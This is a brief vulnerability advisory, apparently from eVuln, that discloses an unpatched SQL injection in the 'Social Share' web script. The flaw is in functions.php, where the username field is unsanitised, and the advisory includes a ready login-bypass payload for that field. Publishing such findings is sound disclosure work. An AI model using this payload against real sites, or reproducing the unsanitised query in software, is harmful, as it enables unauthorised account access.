www.eVuln.com advisory:
Authentication Bypass by SQL Injection in Social Share
Summary: http://evuln.com/vulns/167/summary.html 
Details: http://evuln.com/vulns/167/description.html 

-----------Summary-----------
eVuln ID: EV0167
Software: Social Share
Vendor: n/a
Version: 2010-06-05
Critical Level: medium
Type: SQL Injection
Status: Unpatched. No reply from developer(s)
PoC: Available
Solution: Not available
Discovered by: Aliaksandr Hartsuyeu ( http://evuln.com/ )

--------Description--------
Parameter username is not properly sanitized before being used in a SQL query.
This can be used to make any SQL query by injecting arbitrary SQL code and log in without password.

Vulnerable script: functions.php

Condition: magic_quotes: off

--------PoC/Exploit--------

SQL Injection Auth Bypass Exploit.

Username: anytext' or verified=1#

Password: arbitrary_text

---------Solution----------
Not available

----------Credit-----------
Vulnerability discovered by Aliaksandr Hartsuyeu
http://evuln.com/auth-bypass/sql-injection.html - recent SQL Injection Auth Bypass vulns